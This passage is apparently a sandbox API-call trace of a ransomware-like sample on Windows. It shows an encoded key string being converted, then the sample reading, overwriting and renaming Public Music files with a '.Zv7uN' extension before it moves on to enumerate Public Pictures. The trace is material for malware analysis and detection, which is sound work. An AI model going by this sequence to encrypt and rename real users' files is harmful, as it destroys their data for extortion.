pwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0117.314] GetCurrentThreadId () returned 0xa30 [0117.314] GetCurrentThreadId () returned 0xa30 [0117.314] GetCurrentThreadId () returned 0xa30 [0117.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0117.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0117.315] GetCurrentThreadId () returned 0xa30 [0117.315] GetCurrentThreadId () returned 0xa30 [0117.315] GetCurrentThreadId () returned 0xa30 [0117.315] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0117.315] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0117.315] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0117.315] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x49e459 [0117.316] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0117.316] VirtualAlloc (lpAddress=0x0, dwSize=0x4b0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eaf0000 [0117.317] ReadFile (in: hFile=0x120, lpBuffer=0x7eaf0010, nNumberOfBytesToRead=0x49e459, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x7eaf0010*, lpNumberOfBytesRead=0x18f6a0*=0x49e459, lpOverlapped=0x0) returned 1 [0117.899] CloseHandle (hObject=0x120) returned 1 [0117.899] VirtualAlloc (lpAddress=0x0, dwSize=0x4b0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e640000 [0117.906] VirtualAlloc (lpAddress=0x0, dwSize=0xe0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e560000 [0117.958] VirtualQuery (in: lpAddress=0x7e640000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7e640000, AllocationBase=0x7e640000, AllocationProtect=0x4, RegionSize=0x4b0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0117.958] VirtualAlloc (lpAddress=0x0, dwSize=0x120000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e440000 [0118.004] VirtualQuery (in: lpAddress=0x7e560000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7e560000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xe0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0118.004] VirtualAlloc (lpAddress=0x7e560000, dwSize=0x50000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e560000 [0118.004] VirtualAlloc (lpAddress=0x7e560000, dwSize=0x50000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e560000 [0118.018] VirtualQuery (in: lpAddress=0x7e5b0000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7e5b0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x90000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0118.018] VirtualAlloc (lpAddress=0x7e5b0000, dwSize=0x60000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e5b0000 [0118.020] VirtualAlloc (lpAddress=0x7e5b0000, dwSize=0x60000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e5b0000 [0118.068] VirtualQuery (in: lpAddress=0x7e610000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7e610000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x30000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0118.068] VirtualAlloc (lpAddress=0x7e610000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e610000 [0118.068] VirtualAlloc (lpAddress=0x7e610000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e610000 [0118.075] VirtualQuery (in: lpAddress=0x7e640000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7e640000, AllocationBase=0x7e640000, AllocationProtect=0x4, RegionSize=0x4b0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0118.075] VirtualAlloc (lpAddress=0x0, dwSize=0x280000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e1c0000 [0118.132] VirtualQuery (in: lpAddress=0x7e440000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7e440000, AllocationBase=0x7e440000, AllocationProtect=0x4, RegionSize=0x120000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0118.132] VirtualFree (lpAddress=0x7e440000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.148] VirtualQuery (in: lpAddress=0x7e560000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7e560000, AllocationBase=0x7e560000, AllocationProtect=0x4, RegionSize=0x50000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0118.148] VirtualFree (lpAddress=0x7e560000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.153] VirtualQuery (in: lpAddress=0x7e5b0000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7e5b0000, AllocationBase=0x7e5b0000, AllocationProtect=0x4, RegionSize=0x60000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0118.153] VirtualFree (lpAddress=0x7e5b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.158] VirtualQuery (in: lpAddress=0x7e610000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7e610000, AllocationBase=0x7e610000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0118.158] VirtualFree (lpAddress=0x7e610000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.207] VirtualQuery (in: lpAddress=0x7e440000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7e440000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x200000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0118.207] VirtualAlloc (lpAddress=0x7e440000, dwSize=0xa0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e440000 [0118.207] VirtualAlloc (lpAddress=0x7e440000, dwSize=0xa0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e440000 [0118.225] VirtualQuery (in: lpAddress=0x7e4e0000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7e4e0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x160000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0118.225] VirtualAlloc (lpAddress=0x7e4e0000, dwSize=0xd0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e4e0000 [0118.225] VirtualAlloc (lpAddress=0x7e4e0000, dwSize=0xd0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e4e0000 [0118.248] VirtualQuery (in: lpAddress=0x7e5b0000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7e5b0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x90000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0118.248] VirtualAlloc (lpAddress=0x7e5b0000, dwSize=0x90000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e5b0000 [0118.249] VirtualAlloc (lpAddress=0x7e5b0000, dwSize=0x90000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e5b0000 [0118.265] VirtualQuery (in: lpAddress=0x7e640000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7e640000, AllocationBase=0x7e640000, AllocationProtect=0x4, RegionSize=0x4b0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0118.265] VirtualAlloc (lpAddress=0x0, dwSize=0x5a0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7dc20000 [0118.740] VirtualQuery (in: lpAddress=0x7e1c0000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7e1c0000, AllocationBase=0x7e1c0000, AllocationProtect=0x4, RegionSize=0x280000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0118.740] VirtualFree (lpAddress=0x7e1c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.767] VirtualQuery (in: lpAddress=0x7e440000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7e440000, AllocationBase=0x7e440000, AllocationProtect=0x4, RegionSize=0xa0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0118.767] VirtualFree (lpAddress=0x7e440000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.775] VirtualQuery (in: lpAddress=0x7e4e0000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7e4e0000, AllocationBase=0x7e4e0000, AllocationProtect=0x4, RegionSize=0xd0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0118.775] VirtualFree (lpAddress=0x7e4e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.786] VirtualQuery (in: lpAddress=0x7e5b0000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7e5b0000, AllocationBase=0x7e5b0000, AllocationProtect=0x4, RegionSize=0x90000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0118.786] VirtualFree (lpAddress=0x7e5b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.969] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0118.985] WriteFile (in: hFile=0x120, lpBuffer=0x7e640010*, nNumberOfBytesToWrite=0x49e459, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x7e640010*, lpNumberOfBytesWritten=0x18f6ac*=0x49e459, lpOverlapped=0x0) returned 1 [0119.301] CloseHandle (hObject=0x120) returned 1 [0119.301] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3.Zv7uN" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3.zv7un")) returned 1 [0119.302] VirtualFree (lpAddress=0x7eaf0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.408] VirtualFree (lpAddress=0x7e640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.463] VirtualFree (lpAddress=0x7dc20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.592] GetCurrentThreadId () returned 0xa30 [0119.592] GetCurrentThreadId () returned 0xa30 [0119.592] GetCurrentThreadId () returned 0xa30 [0119.592] GetCurrentThreadId () returned 0xa30 [0119.592] GetCurrentThreadId () returned 0xa30 [0119.592] GetCurrentThreadId () returned 0xa30 [0119.592] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 0 [0119.592] GetLastError () returned 0x12 [0119.592] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0119.592] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5dc1a500, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5dc1a500, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0119.593] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0119.593] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0119.593] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5dc1a500, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5dc1a500, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0119.593] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0119.593] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0119.593] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.593] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5b37cda0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Kalimba.mp3.Zv7uN", cAlternateFileName="")) returned 1 [0119.593] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0119.593] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0119.593] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5c9f3d40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Maid with the Flaxen Hair.mp3.Zv7uN", cAlternateFileName="MAIDWI~1.ZV7")) returned 1 [0119.593] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0119.594] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0119.594] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5dc1a500, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Sleep Away.mp3.Zv7uN", cAlternateFileName="SLEEPA~1.ZV7")) returned 1 [0119.594] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0119.594] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0119.594] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5dc1a500, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Sleep Away.mp3.Zv7uN", cAlternateFileName="SLEEPA~1.ZV7")) returned 0 [0119.594] GetLastError () returned 0x12 [0119.594] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0119.594] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xff44aade, dwReserved1=0xba1113e9, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 0 [0119.594] GetLastError () returned 0x12 [0119.594] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0119.604] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=54, fCreate=0 | out: pszPath="C:\\Users\\Public\\Pictures") returned 1 [0119.733] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures" (normalized: "c:\\users\\public\\pictures")) returned 0x11 [0119.733] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=54, fCreate=0 | out: pszPath="C:\\Users\\Public\\Pictures") returned 1 [0119.733] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc57cf0ab, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0119.733] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc57cf0ab, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0119.733] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xc57cf0ab, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.733] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0119.733] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0119.734] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, 